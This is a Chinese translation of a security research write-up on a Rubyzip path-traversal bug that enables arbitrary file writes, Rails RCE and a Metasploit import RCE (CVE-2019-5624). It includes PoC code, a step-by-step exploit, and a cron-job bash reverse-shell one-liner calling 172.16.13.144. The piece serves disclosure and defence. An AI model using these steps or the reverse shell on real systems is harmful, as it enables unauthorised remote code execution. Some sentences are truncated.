Rubyzip库 路径遍历导致Ruby on Rails RCE

Hulk / 2019-05-01 09:00:00 / 浏览数 5637 安全技术 漏洞分析 顶(0) 踩(0)

原文：https://blog.doyensec.com/2019/04/24/rubyzip-bug.html

前言

在最近的一次项目中，我们有机会测试Ruby-on-Rails Web程序，该程序使用Rubyzip
gem来处理zip文件。Zip文件其实是触发多种漏洞的绝佳入口点，例如路径遍历，符号链接文件覆盖攻击等等。由于目标库关闭了符号链接处理程序，因此我们着重于挖掘路

这篇博文主要讨论我们研究的结果结论，这个"Bug"是从库本身的找到的。我们将会演示这个bug在一个流行软件上的应用——Metasploit。

关于Rubyzip的一些漏洞

Rubyzip库曾多次爆出通过恶意文件名而造成的路径遍历漏洞（1，2）。其中2的代码修复（PR:#376）非常有意思，开发者使用了另一种不同的处理方法。

```
# Extracts entry to file dest_path (defaults to @name).
# NB: The caller is responsible for making sure dest_path is safe,
# if it is passed.
def extract(dest_path = nil, &block)
   if dest_path.nil? && !name_safe?
       puts "WARNING: skipped #{@name} as unsafe"
       return self
   end

[...]
```

其中的Entry#name_safe函数的定义如下：

```
# Is the name a relative path, free of `..` patterns that could lead to
# path traversal attacks? This does NOT handle symlinks; if the path
# contains symlinks, this check is NOT enough to guarantee safety.
def name_safe?
   cleanpath = Pathname.new(@name).cleanpath
   return false unless cleanpath.relative?
   root = ::File::SEPARATOR
   naive_expanded_path = ::File.join(root, cleanpath.to_s)
   cleanpath.expand_path(root).to_s == naive_expanded_path
end
```

从上面代码中可以发现，如果目标路径传递给Entry#extract函数，那么路径实际不会检测。往下翻阅，源代码中的一个注释也暗示了用户的责任：

> NB: 如果（路径）必须得传递，那么调用者有必要确保目标路径是安全的。

虽然Entry#name_safe函数勉强可以防御住路径遍历攻击（和绝对路径），但该函数只有它被调用时没有携带参数才会起作用。

为了验证这个bug，我们使用老（但很好用）的evilarc生成一个包含Poc的ZIP文件，并且使用下面这段代码提取出恶意文件：

```
require 'zip'

first_arg, *the_rest = ARGV

Zip::File.open(first_arg) do |zip_file|
 zip_file.each do |entry|
   puts "Extracting #{entry.name}"
   entry.extract(entry.name)
 end
end
```

```
$ ls /tmp/file.txt
ls: cannot access '/tmp/file.txt': No such file or directory
$ zipinfo absolutepath.zip
Archive:  absolutepath.zip
Zip file size: 289 bytes, number of entries: 2
drwxr-xr-x  2.1 unx        0 bx stor 18-Jun-13 20:13 /tmp/
-rw-r--r--  2.1 unx        5 bX defN 18-Jun-13 20:13 /tmp/file.txt
2 files, 5 bytes uncompressed, 7 bytes compressed:  -40.0%
```

```
$ ruby Rubyzip-poc.rb absolutepath.zip
Extracting /tmp/
Extracting /tmp/file.txt
$ ls /tmp/file.txt
/tmp/file.txt
```

结果很明显，我们最终可以创建/tmp/file.txt，这验证了的确存在Bug。

正如上面这台客户端一样，大部分开发者都会升级到Rubyzip 1.2.2，并且相信它足够安全，却没有实际了解该库是如何工作的以及代码的一些特殊用法。

脆弱性

在我们的Web应用中，用户上传的zip文件经过下面这段（伪）代码解压的：

```
def unzip(input)
   uuid = get_uuid()
   # 0. create a 'Pathname' object with the new uuid
   parent_directory = Pathname.new("#{ENV['uploads_dir']}/#{uuid}")

   Zip::File.open(input[:zip_file].to_io) do |zip_file|
       zip_file.each_with_index do |entry, index|
           # 1. check the file is not present
           next if File.file?(parent_directory + entry.name)
           # 2. extract the entry
           entry.extract(parent_directory + entry.name)
       end
   end
   Success
end
```

在#0项中，我们可以看到一个名为Pathname的对象被创建，然后在#2项中被套用为解压的目标路径。然而，对象和字符串的加法运算并不是像开发者想的那么简单，而这

OK，我们先在IRB shell中简单理解一下它的行为：

```
$ irb
irb(main):001:0> require 'pathname'
=> true
irb(main):002:0> parent_directory = Pathname.new("/tmp/random_uuid/")
=> #<Pathname:/tmp/random_uuid/>
irb(main):003:0> entry_path = Pathname.new(parent_directory + File.dirname("../../path/traversal"))
=> #<Pathname:/path>
irb(main):004:0> destination_folder = Pathname.new(parent_directory + "../../path/traversal")
=> #<Pathname:/path/traversal>
irb(main):005:0> parent_directory + "../../path/traversal"
=> #<Pathname:/path/traversal>
```

由于Pathname对../的处理，传给RubyzipEntry#extract函数的内容中不会包含目录遍历的payload，该函数错误地将其视为安全路径。并且后续Ruby gem也不会验证是否安全，因此攻击者不需要考虑其他可能的错误。

任意文件写入到Ruby on Rails RCE

除了一些通常的*nix和windows的特定方法（例如编写新的cronjob或自定义脚本）外，我们对如何利用这个bug造成RoR（Ruby on Rails）有关应用的RCE非常感兴趣。

目标程序运行在真实的生产环境，而且RoR classes是通过cache_classes直接进行首次缓存。我们无法注入加载任意代码，因为写入文件必须重启ROR应用。

然而，我们在本地环境中进行了验证：结合拒绝服务漏洞和和web应用全路径披露，使得web服务器重启，从而成功利用ZIP文件处理的缺陷实现RCE。

Ruby on Rails官方文档描述如下：

> 在加载框架以及应用中其他的gem和插件后，Rails将开始加载初始化设定。初始化设定是存储在/config/initializers下的任意ruby文件。用户可以使用初始化设置来保存

利用这个功能，经过授权的攻击者可以写入恶意.rb文件到/config/initializers文件夹，并且会在web服务器重启后自动加载。

攻击黑客——Metasploit RCE

我们经过客户的验证准许后，结束了这次渗透测试，我们开始搜寻一些可能受到Rubyzip bug影响的流行软件。最后，我们选择了Metasploit Framework。

查看程序源码，我们迅速认出几个Rubyzip库用于创建ZIP的源码文件。漏洞源于extract函数，这让我想起了Metasploit允许从老版本的MSF或者其他实例中导入ZIP的功

```
data.entries.each do |e|
     target = ::File.join(@import_filedata[:zip_tmp], e.name)
```

```
data.extract(e,target)
```

对于这个Rubyzip的例子，我们创建一个包含路径遍历payload的ZIP文件，然后将其嵌入到某个有效的MSF工作空间（一个包含扫描输出结果的XML文件），从而可能获取

- 创建一个包含以下内容的文件：`* * * * * root /bin/bash -c "exec /bin/bash 0</dev/tcp/172.16.13.144/4444 1>&0 2>&0 0<&196;exec 196<>/dev/tcp/172.16.13.144/4445; bash <&196 >&196 2>&196"`
- 使用evilarc将路径遍历payload嵌入到ZIP文件中
- 为ZIP文件添加一个有效的MSF工作区（使MSF提取它，否则ZIP存档不会被处理）
- 设置两个监听端口：4444和4445（4445用于获取反向shell）
- 登入MSF应用后台
- 创建新"项目"
- 选择"导入"，"选择文件"，选取恶意ZIP文件，点击"导入"按钮
- 导入完成后，Getshell

攻击演示视频：https://blog.doyensec.com/public/images/msf-zip-bug.mp4

小结

如果你正在使用`Rubyzip`库，请检查你使用它的场景，并且为`Entry#extract`函数调用添加对名称和目标路径额外的验证。

下面是不同使用场景的小概述（`Rubyzip v1.2.2`以前）：

用法	用户控制	是否受到路径遍历攻击
entry.extract(path)	yes (path)	**yes**
entry.extract(path)	partially (path is concatenated)	**maybe**
entry.extract()	partially (entry name)	no
entry.extract()	no	no

如果你正在使用Metasploit，请更新到最新版。我们非常期待CVE-2019-5624会出现在msf模块中。

学习与参考

这个Bug的研究归功于：@voidsec和@polict。

如果你对这个漏洞主题感兴趣，请查阅以下资源：

- Rubyzip库
- Ruby on Rails指南
- 攻击Ruby on Rails应用
- 1997便携式BBS黑客攻击
- [Evilarc工具概述] (https://labs.neohapsis.com/2009/04/21/directory-traversal-in-archives/)

上一篇：libpng历史漏洞分析 下一篇：Gaining Access to...

1. 0 条回复
   - 动动手指，沙发就是你的了！

目录